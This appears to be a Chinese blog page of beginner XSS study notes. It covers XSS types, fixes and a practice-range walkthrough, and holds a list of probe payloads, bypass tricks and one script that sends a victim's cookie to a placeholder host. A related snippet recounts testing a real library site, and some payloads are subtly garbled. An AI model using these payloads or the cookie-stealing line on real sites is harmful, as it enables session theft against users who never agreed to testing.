xss学习

XSS初学记录 之前对基本Web安全的书籍只是单纯的阅读过了,并未动手实践。今天试着对学校图书馆进行了一下XSS漏洞的挖掘,居然还真找到一个,记录一下。 在复旦大学图书馆下面的站内搜索框中并未对用户的input进行过滤 在其中输入Test测试, 可在源码中发现是用td标签闭合的构造payload ">alert("xss") 关闭Chrome过滤器后可成功弹窗。 一个很 阅读详情

XSS简介

【在有XSS漏洞时,看有无其他漏洞】

  • XSS介绍:
    xss跨站脚本,较合适的方式应该叫做跨站脚本攻击(Cross site scripting)。为了与层叠样式(CSS)区分,便取名XSS

  • 分类:
    1、反射型(非持久型):攻击者事先做好攻击连接,要用户自己点击才可触发;
    2、存储型(持久型):存储在数据库中,每次访问可触发;
    3、DOM型:基于文本对象的一种漏洞;

  • XSS危害
    1、钓鱼欺骗
    2、网站挂马
    3、身份盗用
    4、盗取用户信息:盗取用户的cookie从而获取用户身份
    5、垃圾短信发送
    6、劫持用户web行为
    7、XSS蠕虫

在这里插入图片描述

  • 形成原因:
    由于程序员在编写代码时,未对用户输入的数据进行处理或者处理不当,从而导致恶意payload代码被执行,简单就是对非预期输入的过分信任。

漏洞挖掘与修复

  • 在进行测试时,就是见框就上,但是要注意闭合标签,尤其是存储型的XSS,如果不闭合将会把站点的功能打坏!
  • 常见的测试地(各种有输入输出的地方):

1、所搜框
2、URL地址栏
3、留言板
4、登录处等

  • 挖掘测试的payload:
1.<script>alert(1)</script>
2.<svgonload=prompt(1);>
3.<body onload=prompt(1);>
4.<a onclick=alert(1)>
5.<img/src/onerror=alert(1)>
6.<img src=1 onerror=alert(1)>
7.<marquee/onstart=confirm(1)>
8.<a href="javascript:alert(/1/)>link</a>
9.<button/omlinck=alert(1)>
10.<audio src=1 οnlοadstart=alert(1)>
11.<iframe/οnlοad=alert(1)></iframe>
12.<video/src/οnerrοr=prompt(1);>
13.<input/οnfοcus="alert(1)"/autofocus/>

  • 绕过方式:

1、大小写
2、双写
3、闭合标签
4、url编码绕过
5、空格/回车/Tab
6、双尖括号绕过
7、空字节绕过8
8、构造事件绕过

  • 漏洞修复

1、输入检查:白名单、在服务器中或Javascript中实现相同的输入检查
2、输出检查:html编码、js转义
3、httponly:浏览器进制页面的JavaScript访问带有HTTPonly属性的cookie。HTTPonly解决的是XSS后的cookie劫持攻击

  • 同源策略

同源策略是用于限制不同来源的资源之间的交互,在浏览器定义对不同的页面,如果主机名、协议与端口均相等,即为同源。

  • 点击事件
1.onlick:单点击事件
2.ondblclick:双击点击事件
3.onmousedown:按下鼠标触发
4.onmouseup:按下鼠标松开触发
5.onmouseover:移动到对象范围上方内触发
6.onmousemove:移动触发
7.onmouseout:移开触发
8.onkeypress:按压
9.onkeyup:按压松开
10.onfocus:获得焦点触发
11.onblur:失去焦点触发
12.onchange:失去焦点且内容改变
13.onsubmit:提交触发
14.onreset:表中的reset的属性被激活触发
15.onload:页面内容完成时触发
16.onunload:页面改变时触发
17.onresize:窗口大小改变触发
18.<script>document.location="http://ip/xss/cookie.php?cookie="+document.cookie</script>

XSS实战(在线XSS靶场实战)

第一关:输入无害内容,原样输出:
在这里插入图片描述
进行XSS注入:
在这里插入图片描述
第二关:输入内容后,发现内容被写入了代码中:
在这里插入图片描述
发现插入的内容存在于表前内,进行标签的闭合:
在这里插入图片描述

第三关:输入内容,发现内容进行了输出,但代码中并无数据
在这里插入图片描述
发现输出在标签中,尝试闭合:
在这里插入图片描述
在这里插入图片描述
尝试闭合无效后,第一个输入框发现无法实现所需的操作,只能对第二个框下手,但下来框在界面无法进行操作,所以进行抓包处理:
在这里插入图片描述
在这里插入图片描述

第四关:在进行一系列尝试后,无法得到所需效果,进行抓包,发现存在隐藏项:
在这里插入图片描述
在这里插入图片描述

第五关:发现存在长度的设置:

在这里插入图片描述
进行长度的修改后:
在这里插入图片描述

  • XSS盲注:
    在进行输入后发现页面没有任何回显:
    在这里插入图片描述
    登录后台后,会弹出弹窗:
    在这里插入图片描述
  • XSS过滤
    在输入语句后,发现并没有执行XSS语句,可能是语句被过滤了,所以进行大写尝试:
    在这里插入图片描述

在这里插入图片描述

  • XSS之htmlspecialchars
    在这里插入图片描述
    输入语句后发现没有执行XSS,而是将关键符号进行了实体化,所以尝试事件来进行注入:
    在这里插入图片描述
    输入事件后被包含在a标签中,标签输入的双引号也被替换:
    在这里插入图片描述
    所以尝试单引号:
    在这里插入图片描述
    发现多出个单引号,进行闭合:
    在这里插入图片描述
  • xss之href输出
    利用为协议进行注入:
    在这里插入图片描述

在这里插入图片描述

  • XSS之js输出

输入后发现成为字符:
在这里插入图片描述
进行闭合:
在这里插入图片描述
成功!

web安全之XSS攻击原理及防范 恶意攻击者在web页面中会插入一些恶意的script代码。当用户浏览该页面的时候,那么嵌入到web页面中script代码会执行,因此会达到恶意攻击用户的目的 阅读详情

相关推荐

【漏洞学习笔记1】XSS

【漏洞学习笔记1】XSS 跨站脚本攻击(Cross Site Scripting) 一、练习平台 (1):https://xssaq.com/yx/ 对应:https://www.cnblogs.com/bmjoker/p/9446472.html (在线网站练习本地无下载资源没有js代码,参考文章中的js源代码) (2):XSS Chanllenges:http://xss-quiz.int21h.jp/ 对应:https://blog.youkuaiyun.com/taozijun/article/details/

weixin_45515936的博客 1420

网络安全-跨站脚本攻击(XSS)的原理、攻击及防御

所用工具 Google出品:开源Web App漏洞测试环境:Firing Range 简介 跨站脚本攻击(全称Cross Site Scripting,为和CSS(层叠样式表)区分,简称为XSS)是指恶意攻击者在Web页面中插入恶意Script代码,当用户浏览网页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。 xss是攻击客户端,最终受害者是用户,网站管理员也是用户之一。 xss漏洞通常是通过php的输出函数将javascript代码输出到html页面中,通过.

关注网络安全、云原生安全 4万+

基于机器学习建模的 XSS 攻击防范检测

摘  要:为了解决网络流量中跨站脚本攻击频发且攻击危害性高的问题,研究了基于机器学习算法建模的跨站脚本检测技术,从复杂的网络流量数据中发掘跨网站脚本(Cross-Site Scripting,XSS)攻击,然后结合专家经验和安全业务知识对数据进行打标学习,并采用机器学习技术训练算法模型,实现了对 XSS 攻击的自动化和智能检测功能。测试表明,在安全领域引入机器学习算法,能够准确识别复杂多变、高危恶意的 XSS 攻击,提高了安全设备对威胁攻击的检测能力。内容目录:1  数据加工2  特征工程3  算法模型4 

qq_61890005的博客 918

XSS攻击详解

本篇博客主要总结一下什么是XSS攻击,并且如何防范XSS攻击。 一、什么是XSS攻击 XSS攻击中文名称为:跨站脚本攻击,XSS的重点不在于跨站,而在于脚本的攻击。 XSS攻击的工作原理:攻击者会在web页面中插入一些恶意的script代码。当用户浏览该页面的时候,那么嵌套在该页面的代码就会执行,因此会达到攻击用户的目的。 XSS的分类:XSS攻击最主要分为如下几类,反射型,存储型,DOM-based型。反射型和DOM-based型可以归类于非持久性XSS攻击。存储型可以归类于持久性XSS攻击。 二、反射型

weixin_47450807的博客 3万+

Zemax操作40--序列模式中LD光源模拟

LD模拟

lzy750750的博客 9122

解锁笔记智能对话:手把手配置 Obsidian Copilot 插件与硅基流动模型

本文详细介绍了如何为Obsidian笔记软件配置Copilot插件,并接入硅基流动AI模型,从而为个人知识库添加智能对话能力。通过手把手教程,指导用户完成插件安装、API Key获取、模型配置及索引构建,最终实现基于个人笔记内容的深度语义问答,提升知识管理效率。

corn8的博客 613

xss攻击原理与解决方法

概述XSS攻击是Web攻击中最常见的攻击方法之一,它是通过对网页注入可执行代码且成功地被浏览器执行,达到攻击的目的,形成了一次有效XSS攻击,一旦攻击成功,它可以获取用户的联系人列表,然后向联系人发送虚假诈骗信息,可以删除用户的日志等等,有时候还和其他攻击方式同时实施比如SQL注入攻击服务器和数据库、Click劫持、相对链接劫持等实施钓鱼,它带来的危害是巨大的,是web安全的头号大敌。攻击的条件实施

套路猿的博客 8万+

通过CRC32爆破修改图片的宽高 ctf-misc图片隐写

** 一.在处理图片隐写题的时候,可能会修改图片原有的宽高,导致图片里面的内容无法正常显示,那么怎么判断它的宽高是否被修改了呢? ** 1.把图片拖进010editor中会发现左下角提示CRC不匹配,这是因为修改了高宽,却没有修改CRC,导致读取报错。 2.在linux中CRC32错误的图片是无法打开的,也可以利用pngcheck检查图片,会提示CRC32校验错误 ** 二.既然知道了CRC校验码错误,那么如何修改呢? 首先我们要知道CRC32是有哪些字节构成的 ** PNG文件中总是以固定的八个字节开

weixin_44145452的博客 1万+

XSS学习总结

为探讨清楚XSS的诸多细节,作者对学习过程进行了全面、详细、系统的总结,形成了本文。本文是经由xss-labs训练总结而来,因此配合作者的xss-labs通关全详解食用更佳(怎么可以光学习不训练呢)。

Keeping it fresh at all times. 1714

轨迹优化 | 基于ESDF的共轭梯度优化算法(附ROS C++/Python仿真)

共轭梯度法的核心原理是求解优化问题的共轭向量组作为优化方向,由于优化方向间彼此正交,故每次迭代只需沿着一个方向寻优而互不影响。本文设计基于ESDF的障碍约束、曲率约束和平滑约束,基于ROS C++和Python提供了共轭梯度法的轨迹优化实践案例

FRIGIDWINTER的博客 1万+

【QNX+Android虚拟化方案】136 - QNX 侧 Coredump 文件解析

【QNX+Android虚拟化方案】136 - QNX 侧 Coredump 文件解析

|~~~热爱生活、努力学习的小伙汁~~~| 1909

XSS学习

下面的 JavaScript 获取目标的 cookie,base64 对 cookie 进行编码以确保传输成功,然后将其发布到黑客控制下的网站进行记录。有时,开发人员认为限制客户端上的输入值就足够好了,因此将值更改为 Web 应用程序不期望的值是发现存储的 XSS 的良好来源,例如,需要下拉菜单中整数的 age 字段,但相反,您需要手动发送请求,而不是使用允许您尝试恶意负载的表单。精心设计的链接 可能会发送给潜在的受害者,将他们重定向到另一个网站 或者从页面或用户的会话中窃取内容。

dingxingaq的博客 795

k8s中pod使用详解

k8s中Pod使用

congge 1万+

XSS学习记录

正确测试方法 XSS 的实际探测应该使用无危害的标签,XSS的本质原理不就是解析了用户插入的标签,那么既然是解析标签,那么为什么不能插入没有攻击危害的标签进行先探测 XSS 呢?如果解析标签成功,确认存在 XSS,你再一步一步绕过那“三个大麻烦”组合成最重要的弹框就不可以了! <s>123 <h1>123</h1> <p>123</p> </tExtArEa><h1>123</h1># </tExtArEa><s>123#//--+ ' "></tExtArEa><s>123#//--+

Persist___的博客 959

iOS安全和逆向系列教程 第18篇:iOS应用脱壳技术详解与实战

iOS应用脱壳技术详解与实战 摘要: 本文深入剖析了iOS应用脱壳技术,首先解释了加壳(如FairPlay DRM)与脱壳的基本概念及必要性。通过otool命令可以检测应用的加密状态。文章详细介绍了三种主流脱壳工具:经典dumpdecrypted工具的使用方法、现代化Clutch工具的安装配置以及基于Frida的高级脱壳方案frida-ios-dump。针对特殊情况,还提供了使用LLDB手动dump内存的技术细节,包括查找基地址、计算dump范围和内存读取等操作。最后介绍了修复Mach-O文件头的Pytho

一个自学不成材的程序员 710

11、硬件工程师笔试面试——IGBT(2025版本)

IGBT的应用展望与创新趋势表明,随着电子技术的不断发展,IGBT在各个领域都有广泛的应用,如高压电力系统、交通工具、电锅炉、太阳能和风能发电系统等。FS型IGBT(场终止型绝缘栅双极晶体管)在电力传输领域的应用中,通过其独特的设计和特性,有助于确保系统的稳定性和安全性。每种器件都有其独特的优势,能够满足电力传输系统中不同的技术要求。FS型IGBT通常具有正温度系数,这意味着随着温度的升高,导通压降的主要影响因素是载流子迁移率的降低以及集电极和发射极的接触电阻的增加,有助于在高温下维持稳定的性能。

XU157303764的博客 2672

XSS学习之xss20

前言 这是比较简单的xss练习小游戏,非常适合入门。一直以来,对xss的内容总感觉有一些屏障,应该是因为动手实践太少。所以,趁此机会,好好学习一番,打好基础,以后再继续深入。 关于xss 1.概念:XSS攻击全称跨站脚本攻击(Cross-Site Scripting,XSS)是一种经常出现在 WEB 应用程序中的计算机安全漏洞。其是由于 WEB 应用程序对用户的输入过滤不足而产生的。攻击者利用网站漏洞把恶意的脚本代码注入到网页中,当其他用户浏览这些网页时,就会执行其中的恶意代码,对受害用户可能采取 Cook

记录一些有用的东西 3080

Devexpress16.2.6破解工具

Devexpress16.2.6破解工具Devexpress16.2.6破解工具Devexpress16.2.6破解工具Devexpress16.2.6破解工具

XSS漏洞学习(非常详细),零基础入门到精通,看这一篇就够了

定义:XSS(Cross Site Scripting)攻击全称跨站脚本攻击,是为不和层叠样式表 (Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。成因:XSS是一种经常出现在web应用中的计算机安全漏洞,它允许恶意web用户将代码植 入到提供给其它用户使用的页面中,而程序对输入和输出的控制不够严格,导致“精心构造” 的脚本输入后,再输到前端时被浏览器当作有效代码解析执行从而产生危害。当受害者访问 这些页面时,浏览器会解析并执行这些恶意代码。

Karka_的博客 1032

假人有限元模型

假人模型,车辆碰撞假人有限元模型,适合做乘员安全的研究者利用

VB摄像头监控

该VB模块可对摄像头捕获的画面进行录像等,可在创建的窗口进行控制

xss漏洞学习

xss(css)又称跨网站脚本攻击,从名字也知道它大致的概念,大致就是攻击者通过向网站注入脚本并在攻击者的浏览器执行达到攻击效果,是网站一种常见的漏洞。他通常通过js代码进行,但其他代码也可以,他跟攻击类型分为反射型xss(非持久型)、储存型xss(持久型)、DOM型xss、。常见的xss注入点就是网站提供的输入框或者直接是url栏中,有一些网站对用户输入的数据处理不够严谨,导致一些闭合构造的错误,让注入的代码成功执行。

zl0_00_0的博客 968

华为的C语言编程规范.pdf

华为技术有限公司内部技术规范。本规范制定了编写C语言程序的基本原则、规则和建议。从代码的清晰、简洁、可测试、安全、程序效率、可移植各个方面对C语言编程作出了具体指导。

DVWA学习之XSS

DVWA学习之XSS 反射性XSS Low等级 【】 Medium等级 双写绕过: 【<scr 大小写绕过 【】 High等级 【] []当点击键盘任意一个按键的时候触发。 Impossible等级 存储型XSS Low等级 trim(string,charlist) 函数移除字符串两侧的空白字符或其他预定义字符,预定义字符包括、\t、\n、\x0B、\r以及空格,可选参...

千寻的博客 764

深度学习对抗XSS攻击:DL_for_XSS

深度学习对抗XSS攻击:DL_for_XSS 本文将向您介绍一个创新项目——,它利用深度学习技术检测和防止跨站脚本(Cross-Site Scripting, XSS)攻击。这个开源项目旨在为Web安全提供更智能、高效的解决方案。 项目简介 DL_for_XSS 是一款基于深度学习的XSS攻击检测系统,由SparkSharly开发。项目的目标是利用机器学习的能力,尤其是深度学习的强大特征提取能力,...

gitblog_00046的博客 470

xss-labs搭建及学习

搭建过程与一般的网站搭建差不多当出现这个界面就是成功了。

2401_88422349的博客 755

XSS学习分支图

转载请注明出处:http://blog.youkuaiyun.com/cym492224103

weixin_33836223的博客 107

【白帽子学习笔记】XSS和SQL注入

【白帽子学习笔记】XSS和SQL注入 yysy姚总布置的实验报告越来越难写了,菜菜的我要写好久,┭┮﹏┭┮ 文章目录【白帽子学习笔记】XSS和SQL注入0x01 实验知识点1x01 什么是XSS?1x02 什么是Cookie?1x03 XSS漏洞的分类1x04 SQL注入攻击0x02 XSS部分:Beef1x01 搭建GuestBook网站1x02 AWVS扫描1x03 Kail中使用Beef生成恶意代码1x04 XSS注入漏洞2x01 XSS劫持网站2x02 劫持浏览器指定被劫持网站为学校主

python_LC_nohtyp的博客 2135

XSS学习(一)

XSS是什么呢?XSS的全名就是:Cross Site Script所以又叫CSS但是和CSS语言重名,所以改为了XSS,中文名字叫做跨站脚本攻击,意思就是恶意攻击者往Web页面中插入恶意HTML代码,当用户浏览的时候,Web中的HTML代码会执行.从而达到恶意攻击用户的目的。XSS实现的原理因为浏览器的设计有缺陷,浏览器只会负责解释执行HTML+CSS+JAVASCRIPT代码(自我感觉谷歌浏览...

qq_38638495的博客 880
上一篇: CSRF学习
下一篇: 代码注入与命令注入
Hero.Youth
博客等级 码龄8年 14粉丝 51原创
评论 1
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值